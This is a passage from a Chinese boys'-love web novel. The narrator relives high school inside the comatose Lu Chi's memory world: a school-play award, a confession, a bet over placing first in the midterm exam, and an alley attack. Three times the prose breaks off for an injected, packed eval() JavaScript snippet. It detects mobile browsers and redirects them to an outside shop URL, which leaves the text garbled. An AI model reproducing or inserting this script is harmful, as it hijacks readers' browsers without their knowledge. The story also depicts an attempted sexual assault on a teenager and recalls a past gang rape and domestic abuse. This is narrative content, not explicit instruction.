“别紧张。”陆沉远在鹿炽耳边说,“无论第几名,你都演得很好。” 鹿炽点头,但手还是攥得紧紧的。 主持人上台,开始宣布获奖名单。 三等奖,二等奖……都没有他们班。 “完了完了……”周浩捂着脸,“该不会没名次吧?” “怎么可能!”文艺委员说,“我们演得那么好……” “现在宣布一等奖。”主持人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271899|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开信封,顿了顿,笑了,“这个结果……有点意外,但也在意料之中。获得本届文艺节一等奖的节目是——” 全场安静。 “高三(2)班,《罗密欧与朱丽叶》(男生创新版)!” “啊——!”全班跳起来欢呼。 鹿炽愣了几秒,然后笑了,笑着笑着眼泪就掉下来了。陆沉远抱住他,在他耳边说:“你看,我说吧,你值得最好的。” 上台领奖时,鹿炽还有点恍惚。校长把奖杯递给他,拍拍他的肩:“演得很好,感情很真挚。” 鹿炽鞠躬:“谢谢校长。” 下台后,全班决定去庆祝。文艺委员大手一挥:“我请客!校门口那家火锅店,随便吃!” 十几个人浩浩荡荡杀向火锅店。包间里,热气腾腾,笑声不断。 周浩举起可乐:“来!敬我们的罗密欧和朱丽叶!” “敬罗密欧和朱丽叶!”大家举杯。 鹿炽不太会喝酒,只喝了半杯啤酒就脸红了。陆沉远把他杯子里的酒倒进自己杯子里,给他换了可乐:“你喝这个。” “我没事……”鹿炽小声说。 “听话。”陆沉远揉了揉他的头发。 这个动作太自然,自然到两人都愣了一下。周围同学开始起哄:“哟——” “远哥好温柔!” “鹿炽脸红了!” 鹿炽低头吃菜,不敢看陆沉远。 吃完饭已经九点多。大家各自回家,鹿炽和陆沉远顺路,一起走。 夜晚的街道很安静,路灯把影子拉得很长。两人并排走着,谁也没说话。 快到鹿炽家楼下时,陆沉远开口:“今天开心吗?” “开心。”鹿炽说,“从来没这么开心过。” “那就好。” 沉默了一会儿,鹿炽问:“陆沉远,你今天在台上说的那些话……真的是真心的吗?” 陆沉远停下脚步,看着他:“每一句都是。” “包括……喜欢我?” “包括。”陆沉远一字一顿,“鹿炽,我喜欢你,从很久以前就喜欢了。” 鹿炽心跳如鼓:“可是……为什么以前不说?” “因为我不敢。”陆沉远苦笑,“我怕你拒绝,怕你讨厌我,怕连朋友都做不成。” “那为什么现在敢了?” “因为……”陆沉远看着他,眼神深沉,“因为我发现,有些话现在不说,可能就永远没机会说了。” 鹿炽不懂这句话的意思,但他能感受到陆沉远的认真。 “我……”他犹豫了一下,“我也……有点喜欢你。” 声音很小,但陆沉远听见了。 他笑了,笑容里有释然,也有苦涩:“只是有点?” “很、很多。”鹿炽脸红了,“行了吧?” 陆沉远伸手,轻轻抱住他。 鹿炽僵了一下,然后慢慢放松,把手环在陆沉远腰上。 这个拥抱很轻,但很温暖。鹿炽能闻到陆沉远身上淡淡的酒味,还有属于他的气息。 “鹿炽,”陆沉远在他耳边说,“如果……我是说如果,有一天我做了让你伤心的事,你会原谅我吗?” 鹿炽想了想:“那要看是什么事。” “很严重的事。” “比如?” 陆沉远沉默了。他不能说,不能告诉鹿炽,在另一个世界里,他曾经怎样伤害过他。 “比如……我骗了你。”他最后说。 鹿炽从他怀里退出来,看着他:“你骗我什么了?” “很多事情。”陆沉远说,“但有一件事是真的——我喜欢你,是真的。” 鹿炽看着他,看了很久,然后笑了:“那就够了。” “什么够了?” “只要你喜欢我是真的,其他都不重要。”鹿炽说,“陆沉远,我可能比你想象的还要喜欢你。所以……就算你骗我,我也会原谅你。” 陆沉远心脏一疼。 这句话太熟悉了。在现实世界里,鹿炽也对他说过类似的话——“陆沉远,我爱你,所以就算你伤害我,我也会原谅你。” 可最后,鹿炽还是心死了。 因为他把那份原谅消耗殆尽了。 “别这么说。”陆沉远低声说,“别轻易原谅。如果有人伤害你,哪怕是我,你也要生气,要反抗,要离开。知道吗?” 鹿炽困惑地看着他:“你今天好奇怪。” “答应我。”陆沉远握紧他的手,“答应我,以后如果有人伤害你,一定要保护自己。” 鹿炽虽然不明白,但还是点头:“好,我答应你。” 陆沉远松了口气,又抱了他一下:“回家吧,不早了。” “嗯。”鹿炽转身要走,又回头,“陆沉远。” “嗯?” “今天……谢谢你。”鹿炽小声说,“谢谢你让我有这么开心的一天。” 陆沉远笑了:“以后还会有更多开心的事。” 鹿炽点点头,跑进楼里。 陆沉远站在楼下,看着他的窗户亮起灯,才转身离开。 夜色深沉,街道空无一人。 他知道,今天的美好就像一场梦,迟早要醒。 9. 考全校第一呗(上) 文艺节结束后的周一,陆沉远走进教室时,明显感觉到气氛不对。 几个男生围在鹿炽座位旁边,嘻嘻哈哈地说着什么,鹿炽低着头看书,耳尖发红。看见陆沉远进来,那几个男生一哄而散,还挤眉弄眼地使眼色。 “怎么了?”陆沉远在座位上坐下,问旁边的周浩。 周浩憋着笑:“远哥,你火了。” “什么火了?” “你和鹿炽啊!”周浩压低声音,“文艺节的照片被人发学校贴吧了,现在全校都知道你俩演罗密欧朱丽叶,还演得……咳,特别真。” 陆沉远皱眉:“谁发的?” “不知道,反正现在贴吧最热的帖子就是你们俩。”周浩掏出手机,“你看,这点击量,这回复数……” 陆沉远接过手机。帖子的标题很醒目:“惊!高三(2)班陆沉远鹿炽上演男生版《罗密欧与朱丽叶》,现场观众直呼‘太配了’!” 主楼放了几张舞台照片,都是他和鹿炽的互动。有一张是他抱着“死去”的鹿炽痛哭,有一张是吻额头的那一幕,还有一张是谢幕时两人手牵手的照片。 下面的回复已经盖了几百楼。 【1楼】我靠!这是我能免费看的吗? 【3楼】陆沉远哭得也太真了吧,我都看哭了 【15楼】鹿炽穿那身衣服好好看啊!以前怎么没发现他这么帅? 【27楼】他俩是不是真的有一腿?这眼神,这互动,不像演的 【42楼】听说拿了第一?实至名归! 【56楼】陆沉远不是校霸吗?怎么突然演戏了?人设崩了 【73楼】楼上懂什么,这叫为爱下凡 陆沉远翻了几页,把手机还给周浩:“无聊。” “无聊?”周浩瞪大眼睛,“远哥,你现在可是全校的焦点!多少女生心碎了你知不知道?” “关我什么事。”陆沉远看向鹿炽的方向。鹿炽还低着头,但脖子都红了,估计也知道了贴吧的事。 上课铃响了。第一节是数学课,数学老师一进门就笑眯眯地说:“听说我们班出了两个大明星?” 全班哄笑。 鹿炽把脸埋进书里。陆沉远面不改色:“老师,上课吧。” 数学老师也没为难他们,开始讲课。但下课铃一响,鹿炽就被几个女生围住了。 “鹿炽鹿炽,你演戏的时候紧张吗?” “陆沉远哭的时候你是不是差点笑场?” “你们排练了多久啊?” 鹿炽被问得手足无措,陆沉远走过去,挡在他面前:“让让,他要去厕所。” 女生们嘻嘻哈哈地让开一条路。陆沉远拉着鹿炽走出教室,一直走到楼梯拐角才停下。 “没事吧?”他问。 鹿炽摇头,但脸色不太好:“她们……一直问。” “别理就行。”陆沉远说,“过几天就没人记得了。” 鹿炽抬头看他:“你……不介意吗?” “介意什么?” “贴吧那些话。”鹿炽小声说,“说我们……那个。” 陆沉远笑了:“他们爱说什么说什么,我又不会少块肉。” 鹿炽抿了抿唇,没说话。 “走吧,下节体育课。”陆沉远拍拍他的肩。 体育课是篮球。陆沉远是校队主力,一上场就被队友围着问东问西。 “远哥,听说你为爱演戏?” “可以啊,平时看不出来啊!” “鹿炽真答应你了?” 陆沉远一个三分球投进篮筐:“少废话,打球。” 打球打到一半,鹿炽来了。他抱着几瓶水,坐在场边的长椅上,安安静静地看着。 陆沉远看见他,动作不自觉地更卖力了。抢断、过人、上篮,一气呵成,引来一阵欢呼。 中场休息,陆沉远走到鹿炽身边坐下。鹿炽递给他一瓶水:“给。” “谢谢。”陆沉远拧开瓶盖,仰头喝了一大口,汗水顺着脖子流下来。 鹿炽移开视线,耳尖又红了。 “你……”陆沉远放下水瓶,“今天放学有空吗?” “干嘛?” “想跟你聊聊。”陆沉远说,“就我们两个。” 鹿炽犹豫了一下,点头:“嗯。” 放学后,两人去了学校后面的小公园。秋天了,梧桐叶子黄了一半,风一吹就簌簌地落。 他们找了张长椅坐下。夕阳西下,把天空染成橘红色。 “你想聊什么?”鹿炽问。 陆沉远看着他,很认真地说:“鹿炽,我们在一起吧。” 鹿炽愣住了。 “不是演戏,不是开玩笑。”陆沉远继续说,“是真的在一起。我喜欢你,你也喜欢我,为什么不试试?” 鹿炽张了张嘴,没发出声音。 “我知道你在担心什么。”陆沉远说,“担心学校,担心家长,担心别人的眼光。但那些都不重要,重要的是我们怎么想。” 鹿炽低下头,手指抠着长椅上的木纹:“陆沉远,你……你是认真的吗?” “百分之百认真。” “可是……”鹿炽抬起头,眼睛有点红,“我们才高三,马上就要高考了。如果……如果在一起影响学习怎么办?” 陆沉远笑了:“你觉得我会影响你学习?” “不是,我是说……”鹿炽咬了咬嘴唇,“我自己会分心。” “那就不分心。”陆沉远说,“我们一起学习,一起进步,一起考A大。这样总行了吧?” 鹿炽看着他,眼神复杂:“陆沉远,你最近真的变了很多。” “变好了还是变坏了?” “变好了。”鹿炽轻声说,“但你变得太快了,快得让我害怕。” 陆沉远心里一紧:“怕什么?” “怕你只是一时兴起。”鹿炽说,“怕你过几天就腻了,怕你发现我其实没那么好,怕你……后悔。” 这些话像针一样扎在陆沉远心上。 在现实世界里,鹿炽也说过类似的话。那时候他怎么回的?好像是“你现在说这些有什么用?婚都结了”。 现在想想,真想扇自己一巴掌。 “鹿炽,”陆沉远握住他的手,“我不会后悔。永远不会。” 鹿炽的手在抖:“你怎么能确定?未来那么长,什么都有可能发生。” “我就是能确定。”陆沉远说,“因为我经历过。” 鹿炽困惑地看着他:“经历过什么?” 陆沉远意识到说漏嘴了,赶紧圆回来:“经历过……没有你的日子。那段时间我过得很糟,所以我知道,有你在身边多重要。” 这话半真半假。在现实世界里,鹿炽昏迷后,他确实过得跟行尸走肉一样。 鹿炽沉默了很长时间。风把落叶吹到他们脚边,沙沙作响。 “陆沉远,”他终于开口,“如果你真的想和我在一起,答应我一件事。” “什么事?” “期中考试,考全校第一。”鹿炽说,“如果你考了第一,我就答应你。” 陆沉远愣了一下:“什么?” “你不是说我们一起学习一起进步吗?”鹿炽看着他,“那就证明给我看。证明你不是一时兴起,证明你有这个决心。” 陆沉远哭笑不得。全校第一?这对他来说太简单了。他一个二十七岁的成年人,考高中试卷跟玩似的。 但鹿炽不知道。在鹿炽眼里,这是个几乎不可能完成的任务——因为鹿炽自己就是常年第一,而且分数甩第二名几十分。 “你认真的?”陆沉远问。 “非常认真。”鹿炽说,“如果你能做到,说明你是真的想改变,真的重视我们的未来。如果做不到……” 他顿了顿:“那就说明你只是一时冲动。等冲动过了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271900|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们还是会回到原点。” 陆沉远看着鹿炽的眼睛。那双眼睛里有着少年特有的倔强和认真,还有一丝不易察觉的期待。 鹿炽在给他机会,也在给自己一个台阶。 如果陆沉远真的考了第一,说明他愿意为了这段感情努力,鹿炽就可以心安理得地接受他。 如果考不了……那鹿炽也可以说服自己,这段感情本来就不该开始。 很聪明的做法,也很符合鹿炽的性格——谨慎,理智,不轻易交付真心。 “好。”陆沉远点头,“我答应你。期中考试,全校第一。” 鹿炽眼睛亮了一下:“真的?” “真的。”陆沉远笑了,“不过如果我做到了,你可不能反悔。” “我不会反悔。”鹿炽说,“但前提是,你不能作弊,不能耍手段,必须凭真本事。” “放心。”陆沉远松开他的手,“我会让你心服口服的。” 鹿炽也笑了,笑容很轻,但很好看:“那我就等着看了。” 夕阳完全落下去了,天色暗下来。路灯一盏盏亮起,把两人的影子拉得很长。 “回家吧。”陆沉远站起来,“我送你。” “不用了,我自己……” “我送你。”陆沉远坚持,“天黑了,不安全。” 鹿炽没再拒绝。 两人并排走着,谁也没说话,但气氛很轻松。走到鹿炽家楼下时,陆沉远忽然问:“鹿炽,你为什么想要我考第一?” 鹿炽想了想,说:“因为我想看看,你能为我做到什么程度。” “就这样?” “还有……”鹿炽低头踢了踢地上的石子,“如果你真的考了第一,我爸妈那边……也好交代。” 陆沉远明白了。鹿炽的父母都是知识分子,对成绩看得很重。如果陆沉远能考全校第一,至少证明他不是个“坏学生”,鹿炽的父母接受起来会容易些。 想得真远。陆沉远心里一暖。 这个十七岁的鹿炽,已经在认真考虑他们的未来了。 “放心。”陆沉远说,“我会让你爸妈挑不出毛病的。” 鹿炽抬头看他,眼睛在路灯下亮晶晶的:“别说得那么轻松。我可是很厉害的,你想超过我,没那么容易。” “我知道。”陆沉远笑着说,“所以我才要更努力。” 鹿炽也笑了:“那……加油。” “嗯。”陆沉远顿了顿,“鹿炽,不管最后结果怎么样,谢谢你给我这个机会。” 鹿炽愣了一下,然后轻轻点头:“那我上去了。” “去吧。” 鹿炽转身走进楼里。陆沉远站在楼下,看着他的窗户亮起灯,才转身离开。 他边走边想,期中考试还有三周。这三周里,他得表现得像个“努力逆袭”的学生,不能太轻松,否则会引起怀疑。 得制定个计划。每天学习到几点,做什么题,怎么“碰巧”遇到难题然后“灵光一闪”解出来…… 想着想着,他笑了。 这种为了追人而努力考试的感觉,还挺新鲜的。 虽然他知道自己一定能考第一,但鹿炽不知道。在鹿炽眼里,这是个巨大的挑战,而陆沉远愿意接受这个挑战,本身就说明了很多问题。 这就够了。 陆沉远抬头看天。夜空很干净,能看见几颗星星。 他想,在这个记忆世界里,他要给鹿炽最好的恋爱体验。 从一场全力以赴的考试开始。 然后是一起努力的高三,一起奋斗的高考,一起走进大学校园。 他会把现实世界里亏欠的,都在这里补回来。 哪怕这一切都是假的。 哪怕最后他还是要亲手打碎这个梦。 至少现在,他能看见鹿炽笑着对他说“加油”。 至少现在,鹿炽还愿意给他机会。 这就够了。 10. 考全校第一呗(下) 期中考试前一周,陆沉远把自己活成了学习机器。 早上六点起床背英语,课间刷数学题,午休时间做理综卷,晚上回家还要写作文到十二点。他桌子上的习题册堆成了山,笔芯用完了十几根,黑眼圈都快掉到下巴了。 周浩看得目瞪口呆:“远哥,你来真的啊?” “不然呢?”陆沉远头也不抬,手里刷刷刷地写着物理题。 “可这也太拼了吧……”周浩凑过去看他的日程表,“我靠,你连上厕所的时间都规划了?” “效率。”陆沉远言简意赅。 其实这些题对他来说都不难,但他得装出很努力的样子。偶尔还会“不小心”把难题拿到鹿炽面前问:“这道题怎么做?我想了半天没思路。” 鹿炽接过题,看了一会儿,眼睛一亮:“这题有点意思……得用数形结合。” 然后他就会给陆沉远详细讲解。陆沉远听得“恍然大悟”,连连点头:“原来如此!你真厉害。” 鹿炽耳尖微红:“你最近进步很大。” “都是你教得好。”陆沉远笑着说。 这话不完全是奉承。鹿炽讲题确实有一套,思路清晰,深入浅出,比老师讲得还好。陆沉远有时候会想,如果高中时他们就这样一起学习,说不定真能一起考A大。 可惜没有如果。 考试前一天晚上,陆沉远给鹿炽发了条短信:“紧张吗?” 过了一会儿,鹿炽回:“有点。你呢?” “不紧张。”陆沉远打字,“因为有你给我加油。” 鹿炽回了一个“……”然后补了一句:“明天加油。” 陆沉远笑了,把手机放在胸口,闭上眼睛。 明天,他就要“逆袭”了。 --- 期中考试持续两天。考场上,陆沉远严格控制着自己的答题速度和正确率。数学卷他故意错了一道选择题,理综卷他特意把一道大题的步骤写复杂了点,语文作文更是收敛着写,不敢发挥得太好。 但即便如此,当他交卷时,监考老师看他的眼神都变了。 最后一科考完,学生们涌出考场,哀嚎一片。 “完了完了,数学最后一道大题我完全没思路!” “理综那实验题什么鬼啊!” “语文作文我写跑题了……” 鹿炽走出考场时,脸色有些苍白。陆沉远走过去:“考得怎么样?” “数学最后一道题没做完。”鹿炽小声说,“时间不够。” “那道题确实难。”陆沉远安慰他,“没事,大家都一样。” 鹿炽看了他一眼:“你……做完了吗?” 陆沉远犹豫了一下,点头:“做完了,但不一定对。” 鹿炽眼神暗了暗:“哦。” 陆沉远心里一紧。他知道鹿炽好强,没做完题肯定会难受。但这也是计划的一部分——他必须考第一,才能完成约定。 成绩要三天后才出来。这三天,陆沉远度日如年。不是担心成绩,是担心鹿炽的反应。 第三天上午,班主任抱着一沓成绩单走进教室,脸色很复杂。 “这次期中考试,我们班……考得不错。”他说,“特别是陆沉远同学,进步非常大。” 全班齐刷刷看向陆沉远。 班主任推了推眼镜:“下面宣布年级前十。第十名,张伟……” 一个个名字念过去。第五名,第四名,第三名……都没有鹿炽。 鹿炽的手在桌子下攥紧了。 “第二名,”班主任顿了顿,“鹿炽,总分698。” 教室里响起一阵惊叹。698分,这已经是逆天的高分了。 但鹿炽脸色更白了。第二名……那第一名是…… “第一名,”班主任看向陆沉远,眼神里有惊讶,也有欣慰,“陆沉远,总分705。” “轰——”教室里炸开了锅。 “我靠!705?!” “比鹿炽高7分?!” “陆沉远开挂了吧!” “这怎么可能……” 鹿炽坐在座位上,一动不动。他盯着桌上的成绩单,眼睛瞪得很大,像是不敢相信。 陆沉远看向他,心里五味杂陈。他知道鹿炽会难受,但没想到会这么难受。 下课铃响了,班主任一走,同学们就围了过来。 “远哥!牛逼啊!” “怎么考的?传授传授经验!” “你是不是偷偷补课了?” 陆沉远应付了几句,挤出人群,走到鹿炽座位旁。鹿炽还坐在那里,低着头,看不清表情。 “鹿炽……”陆沉远轻声叫他。 鹿炽抬起头。陆沉远心里一沉——鹿炽眼睛红了,但没哭,只是死死咬着嘴唇。 “你……”鹿炽声音有点哑,“你真考了第一。” “嗯。”陆沉远蹲下来,平视着他,“我答应过你的。” 鹿炽盯着他看了很久,忽然笑了,笑容很苦:“陆沉远,你到底是什么人?” “什么?” “一个多月前,你数学还考不过我。”鹿炽说,“现在总分比我高7分。这合理吗?” 陆沉远语塞。是啊,这不合理。但他没法解释。 “你是不是……”鹿炽压低声音,“作弊了?” 陆沉远摇头:“没有。我可以接受任何检查。” 鹿炽又看了他一会儿,然后站起来:“我出去透透气。” “我陪你……” “不用。”鹿炽打断他,“我想一个人待会儿。” 他走出教室,背影有些踉跄。陆沉远想追上去,被周浩拉住了。 “远哥,让他冷静冷静吧。”周浩小声说,“你把他从第一的宝座上踹下来了,他肯定难受。” 陆沉远握紧拳头,指甲陷进掌心。 他知道会这样,但没想到会这么疼。 --- 一整天,鹿炽都没怎么说话。上课时他看着黑板,但眼神是空的。下课了就趴在桌子上,谁叫也不理。 放学铃响,鹿炽第一个收拾书包离开教室。陆沉远赶紧追出去,但鹿炽走得很快,转眼就消失在教学楼拐角。 陆沉远加快脚步。他知道鹿炽一般会走学校后门的小路回家,那条路近,但人少。 他拐进小巷,果然看见鹿炽的背影。刚要喊他,忽然看见前面路口走出来几个人。 四个男生,流里流气的,穿着其他学校的校服。其中一个黄毛,陆沉远看着有点眼熟——等等,这不是…… 现实世界里,高中时欺负过鹿炽的那些人?! 陆沉远心脏猛地一沉。他想起来了,在现实世界里,鹿炽高二时被四个混混堵在巷子里,差点被……后来是他赶到救了他。 可那是在现实世界!在记忆世界里,这件事还没发生啊! 不对……陆沉远脑子飞快转动。记忆世界是根据鹿炽的记忆构建的。如果鹿炽记忆里有这件事,那它就可能重现。 而且时间线……好像也对得上。现实世界里,这件事就发生在高二下学期。现在是记忆世界的高二下学期…… “哟,这不是咱们的大学霸吗?”黄毛笑嘻嘻地拦住鹿炽,“考了第二,心情不好啊?” 鹿炽停下脚步,脸色瞬间苍白:“让开。” “让开?”黄毛和另外三个人围上来,“学霸,借点钱花花呗?听说你家挺有钱的。” “我没钱。”鹿炽后退一步,背抵上墙壁。 “没钱?”黄毛伸手去摸他的脸,“那用别的抵也行啊……” “别碰我!”鹿炽打开他的手。 黄毛脸色一沉:“敬酒不吃吃罚酒是吧?兄弟们,按住他!” 三个人一拥而上。鹿炽想跑,但被抓住了胳膊,按在墙上。 “放开我!救命——”鹿炽拼命挣扎,但力气不够。 陆沉远看见这一幕,脑子“轰”的一声。他冲过去,一拳砸在黄毛脸上。 “操!”黄毛被打得后退几步,吐出一口血沫,“你他妈谁啊?!” “你爹。”陆沉远眼神冷得像冰,“放开他。” “陆沉远……”鹿炽看见他,眼泪一下子掉下来了。 另外三个人松开鹿炽,朝陆沉远围过来。黄毛擦了擦嘴角:“我当是谁呢,原来是陆大校霸。怎么,这学霸是你的人?” “是又怎样?”陆沉远把鹿炽护在身后,“滚。” “滚?”黄毛笑了,“陆沉远,你以为你还是当年那个一打四的狠人?我们可是四个人,你就一个,还带个累赘。” 陆沉远没说话,只是摆出了打架的姿势。他在现实世界里学过格斗,对付几个小混混绰绰有余。 但黄毛接下来的话让他浑身冰冷。 “再说了,”黄毛看着鹿炽,眼神淫邪,“你以为我们为什么找他?高中时那事儿,他可还记得呢……” 鹿炽浑身一颤,脸色白得像纸。 陆沉远脑子里闪过一些碎片——现实世界里,鹿炽喝醉后说过的话:“他们说我长得像女生……说我活该……” 还有那些被他忽略的细节:鹿炽对肢体接触的敏感,对黑暗的恐惧,对性话题的回避…… “你们……”陆沉远声音发颤,“高中时对他做了什么?” 黄毛笑了:“你想知道?那我告诉你啊。高二那年,我们把他骗到小旅馆,四个人轮流……” “闭嘴!”陆沉远吼出来,眼睛瞬间红了。 他想起来了。全部想起来了。 现实世界里,鹿炽高中时被这四个畜生轮/奸过。所以后来才会对性那么恐惧,所以才会在被他家暴时那么麻木——因为他早就经历过更可怕的。 而这一切,陆沉远直到鹿炽昏迷后,才从他的日记里知道。 “陆沉远……”鹿炽在他身后发抖,声音带着哭腔,“别听……我们走……快走……” “走?”黄毛使了个眼色,另外三个人突然冲上来。 陆沉远反应很快,一脚踹飞一个,一拳打倒一个。但第三个人从侧面扑过来,抱住了他的腰。黄毛趁机冲向鹿炽。 “滚开!”陆沉远挣开束缚,但已经来不及了。 黄毛抓住了鹿炽,把他按在地上。另外两个人爬起来,帮忙按住鹿炽的手脚。 “放开他!”陆沉远冲过去,但被剩下的一个人缠住了。 他看见黄毛开始扯鹿炽的裤子。 “不……不要……”鹿炽拼命挣扎,眼泪流了满脸,“陆沉远……救我……” “鹿炽!”陆沉远一脚踢开缠着他的人,冲过去抓住黄毛的头发,狠狠往后扯。 黄毛惨叫一声松手。陆沉远把他摔在地上,一拳又一拳地砸下去。 “畜生……你们这群畜生……” 他打红了眼,直到有人从后面抱住他:“远哥!别打了!再打要出人命了!” 是周浩的声音。他带了几个人赶来了。 陆沉远停下来,喘着粗气。黄毛躺在地上,满脸是血,已经晕过去了。 另外三个人早就跑了。 陆沉远转身去看鹿炽。鹿炽蜷缩在地上,裤子被扯了一半,露出白皙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271901|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大腿。他抱着膝盖,浑身发抖,眼睛空洞地看着地面。 “鹿炽……”陆沉远跪下来,想碰他,又不敢。 鹿炽猛地一颤,往后缩:“别碰我……” “是我,陆沉远。”陆沉远声音发颤,“没事了,他们走了。” 鹿炽抬起头看他,眼神涣散,像不认识他似的。 周浩走过来,脱下外套盖在鹿炽身上:“远哥,先送他去医院吧。” 陆沉远摇头:“不能去医院。” 这种事传出去,鹿炽就完了。 “那……送他回家?” 陆沉远看着鹿炽的状态,知道他这个样子不能回家。 “去我家。”他说。 周浩愣了:“远哥,你爸妈……” “他们出差了。”陆沉远小心地抱起鹿炽。鹿炽没反抗,但也没反应。 周浩帮忙叫了车。车上,鹿炽一直缩在陆沉远怀里,不说话,也不哭,只是发抖。 陆沉远紧紧抱着他,一遍遍说:“没事了……我在……没事了……” 但他知道,这话有多苍白。 到了陆沉远家,周浩帮忙安顿好就识趣地离开了。陆沉远把鹿炽抱进浴室,想给他清洗一下,但鹿炽抓住他的手:“我自己来。” 声音很轻,但很坚决。 陆沉远犹豫了一下,点头:“我在外面,有事叫我。” 他走出浴室,关上门。里面传来水声,还有压抑的哭声。 陆沉远靠在墙上,慢慢滑坐到地上,双手捂住脸。 他想起来了。全部想起来了。 现实世界里,鹿炽被侵/犯后,没有告诉任何人,包括他。一个人默默承受,直到心理防线彻底崩溃,才用那种极端的方式接近他——爬他的床,求他碰自己。 因为他觉得,如果连陆沉远都不要他了,那他就真的没人要了。 而陆沉远呢?他当时说了什么? “鹿炽,你就这么贱?” “用这种方式?嗯?” 每一个字,现在想起来都像刀一样扎在心上。 浴室里的水声停了。过了一会儿,门开了。鹿炽走出来,穿着陆沉远的睡衣——太大了,松松垮垮地挂在身上。 他眼睛红肿,脸色苍白,但表情很平静。 “鹿炽……”陆沉远站起来。 “我没事。”鹿炽说,声音很轻,“我想睡觉。” 陆沉远带他进卧室,给他盖好被子。鹿炽侧躺着,背对着他,蜷缩成一团。 “我在这儿陪着你。”陆沉远坐在床边。 鹿炽没说话。 时间一分一秒过去。窗外天色完全黑了,房间里只有时钟的滴答声。 陆沉远以为鹿炽睡着了,刚要起身,忽然听见他说:“陆沉远。” “嗯?” “你考了第一。”鹿炽说,“我们……的约定,算数。” 陆沉远心脏一疼:“鹿炽,现在不是说这个的时候……” “为什么不说?”鹿炽转过来,看着他。黑暗中,他的眼睛很亮,亮得吓人,“你做到了,我答应你。从今天起,我们在一起。” “可是……” “没什么可是的。”鹿炽坐起来,凑近他,“你不是喜欢我吗?不是想和我在一起吗?现在我答应了,你反悔了?” “我没有反悔。”陆沉远握住他的手,“但我不希望你是因为今天的事才……” “不是因为今天的事。”鹿炽打断他,“是因为你考了第一。你说到做到,我也说到做到。” 他看着陆沉远,忽然笑了,笑容很苦:“而且……经过今天,我突然想通了。人生这么短,谁知道明天会发生什么?不如趁现在,把想做的事都做了。” 陆沉远看着他,喉咙发紧。 他知道鹿炽不对劲。这种平静,这种认命般的坦然,比哭闹更让人心疼。 “鹿炽,”他轻声说,“今天的事……对不起。” “为什么要道歉?”鹿炽歪着头,“又不是你的错。” “因为我没保护好你。” “你保护我了。”鹿炽说,“你把他们打跑了。” 陆沉远摇头:“我应该在第一次就保护好你。高中时那次……我就应该彻底解决他们,不给他们再伤害你的机会。” 鹿炽愣住了:“你……怎么知道高中时……” 陆沉远意识到说漏嘴了,但已经来不及了。 鹿炽看着他,眼神渐渐变了:“陆沉远,你到底是谁?” “我是陆沉远啊。” “不。”鹿炽摇头,“你不是。至少……不完全是。” 他盯着陆沉远,一字一顿:“你到底是谁?为什么知道那些事?为什么突然变了个人?为什么……看我的眼神,像在透过我看别人?” 陆沉远张了张嘴,发不出声音。 他要怎么解释?说我是十年后的陆沉远,说你在现实世界里昏迷了,说我进入你的记忆世界来唤醒你? 不能说。说了,这个世界可能会崩溃,鹿炽可能会永远醒不来。 “鹿炽,”他最后说,“我就是我。不管是以前的我,还是现在的我,都是真的。我喜欢你,也是真的。” 鹿炽看了他很久,然后躺回去,闭上眼睛:“我累了,想睡觉。” “好,你睡。”陆沉远给他掖好被角。 鹿炽背对着他,轻声说:“陆沉远,如果你骗我,我会恨你一辈子。” 陆沉远心脏一缩:“我不会骗你。” “最好不会。”鹿炽说,“因为我真的……很喜欢你。” 11. 暗巷 和陆沉远“正式在一起”后的第一周,鹿炽过得像踩在云朵上。 陆沉远每天雷打不动地等他上下学,课间给他带温热的牛奶,午休时两人挤在图书馆的角落一起做题——虽然大多数时候是鹿炽讲,陆沉远听。 “这道题,”鹿炽用笔尖点着练习册,“用拉格朗日中值定理做更简单。” 陆沉远凑过去看,下巴几乎搁在鹿炽肩上:“拉格朗日?谁啊?” 鹿炽侧头瞪他:“上周才讲过的。” “忘了。”陆沉远理直气壮,“你再讲一遍。” 鹿炽无奈,又重新讲了一遍。陆沉远听得很认真,但其实心思一半在题上,一半在鹿炽身上——他说话时微微颤动的睫毛,握笔时泛白的指节,还有身上那股干净的、像阳光晒过被子的味道。 “懂了没?”鹿炽讲完,抬头问。 陆沉远看着他的眼睛,忽然笑了:“没懂。你再讲一遍。” “陆沉远!”鹿炽拿笔敲他脑袋,“你故意的!” “是啊。”陆沉远握住他拿笔的手,凑近,“我就是想听你多说话。” 鹿炽脸红了,想抽回手,但陆沉远握得很紧。图书馆里很安静,只有翻书的声音,但他们这个角落像有电流在滋滋作响。 “放开……”鹿炽小声说。 “不放。”陆沉远说,“我女朋友都没你这么害羞。” “谁是你女朋友!”鹿炽瞪他,但眼睛亮晶晶的。 “哦,说错了。”陆沉远改口,“是男朋友。” 